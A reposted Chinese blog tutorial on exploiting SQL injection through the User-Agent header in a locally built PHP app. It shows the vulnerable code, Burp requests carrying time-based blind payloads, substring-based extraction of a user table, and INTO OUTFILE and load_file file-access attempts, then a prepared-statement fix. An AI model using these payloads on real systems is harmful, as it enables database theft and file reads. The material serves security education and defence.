『SQL注入』 User-Agent 手工注入的探測與利用分析


 

原理很簡單:后台在接收UA時沒有對UA做過濾,也沒有PDO進行數據交互(實際PDO是非常有必要的),導致UA中有惡意代碼,最終在數據庫中執行。 

 

Bug 代碼:

本地順手打了一個環境,Bug 代碼部分:

// 保存到訪者的IP信息

$db=DBConnect();
$tbLog=$db->tbPrefix.'log'; $executeArr=array('ip'=>($_SERVER["HTTP_VIA"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:$_SERVER["REMOTE_ADDR"],'ua'=>$_SERVER['HTTP_USER_AGENT'],'visit_time'=>date('Y-m-d H:i:s'));
$db->AutoExecute($tbLog,$executeArr);
$smarty=InitSmarty();
$smarty->assign('do',$do);
$smarty->assign('show',$show);
$smarty->assign('url',$url);
$smarty->display('login.html');

 其中 AutoExecute() 方法 代碼如下:

public function AutoExecute($table,$array=array(),$type='INSERT',$where=''){
	if(!empty($array) && !empty($table)){
		switch(strtoupper($type)){
			case 'INSERT':
				$sql="INSERT INTO {$table}(".implode(',',array_keys($array)).") VALUES('".implode("','",array_values($array))."')";
				echo $sql;
				break;
			default:break;
		}
		return $this->Execute($sql);
	}
	else{
		return false;
	}
}

可以看出 ip,ua 這個變量未經過任何過濾 以 SQL 拼接的方式插入到數據庫中。

 

SQLMap 初探:

因為是 HTTP Header 注入,所以決定簡單粗暴的使用 -r 參數測試有無注入。

用burp 代理截包保存成 req.txt ,內容如下:

GET /index.php?do=login HTTP/1.1

Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
Connection: keep-alive

使用 sqlmap.py -r req.txt --level 3 沒跑出來,姿勢不對??? 決定用自己的雙手實現自己的夢想啦~~

 

手動注入測試:

使用burp 的repeater 模塊,修改User-Agent:

GET /index.php?do=login HTTP/1.1

Host: localhost
User-Agent: Anka9080',(select(sleep(5))))#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: csrftoken=zfPpDQbDhjPJ7Xbh8z3aMqAxhVv8vvCs
Connection: keep-alive

結果真會發現等待了5s才收到網站的返回信息,延時注入測試成功~~

該請求發送后,實際執行的SQL語句 如下:

1 INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select(sleep(5))))#','2016-05-26 20:15:41')

進一步分析這條SQL語句:

Select(sleep(5))  返回的是 0 ,在外層加上一對括號,相當於單引號(‘’),還有一個右括號) 用來閉合 VALUES 的 左括號,類似於字符型插入,后面的 # 是注釋符,會把原本的時間等數據給注釋掉,保證了這是一條可執行的SQL語句。

 

猜數據,讀文件:

預先在數據庫中創建了表 user(user,pass) 存在一個條目 admin,admin666

通過sleep判斷基於時間的延時注射,下面手工構造用戶名並根據相應時間來判斷是否存在這個用戶(在 UA 位置執行整條SQL 來判斷):

把 UA 的值改成如下:

User-Agent: Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#

執行的SQL是

INSERT INTO log(ip,ua,visit_time) VALUES('127.0.0.1','Anka9080',(select sleep(5) from user where substring(user,1,1)='a'))#','2016-05-26 21:04:49')

若user 表 中存在以a 開頭的數據,則會延遲5秒返回頁面,

當然一般要先對用戶表user 做 fuzzing, 這個把 where 條件去掉就可以了。

同理 使用 substring(user,1,n) 來判斷第n個字符是什么,繼而得到了完整的字段的值。

 

已經能讀出數據了,嘗試下讀寫文件,理論上有權限就可以。 

把user 表的內容讀出來並寫入到服務器文件中:

INSERT INTO log(ip,ua,dt) VALUES('127.0.0.1','Anka9080',(select * from user into outfile '盤/絕對路徑/1.txt'))#','2016-05-26 21:30:04'

不知為何沒有執行成功 在 SQL 查詢器里單獨執行

select * from user into outfile '盤/絕對路徑/1.txt'

是可以的...

 

如果注入點是有輸出的位置,則

利用Id = 1 union select 1, loadfile(‘盤/絕對路徑/1.txt’) from message 來讀取文件內容到頁面顯示

此外,其他 HTTP Header 的注入與 User-Agent 的注入是一樣道理的。

至於防御SQL注入,預編譯吧,簡單可靠,不需要做任何的過濾,做到了“數據和代碼的分離

<?php

    $link = new mysqli('localhost', 'analytics_user', 'aSecurePassword', 'analytics_db');

    $stmt = $link->prepare("INSERT INTO visits (ua, dt) VALUES (?, ?)");
    $stmt->bind_param("ss", $_SERVER["HTTP_USER_AGENT"], date("Y-m-d h:i:s"));
    $stmt->execute();

?>
參考文章:http://www.freebuf.com/articles/web/105124.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM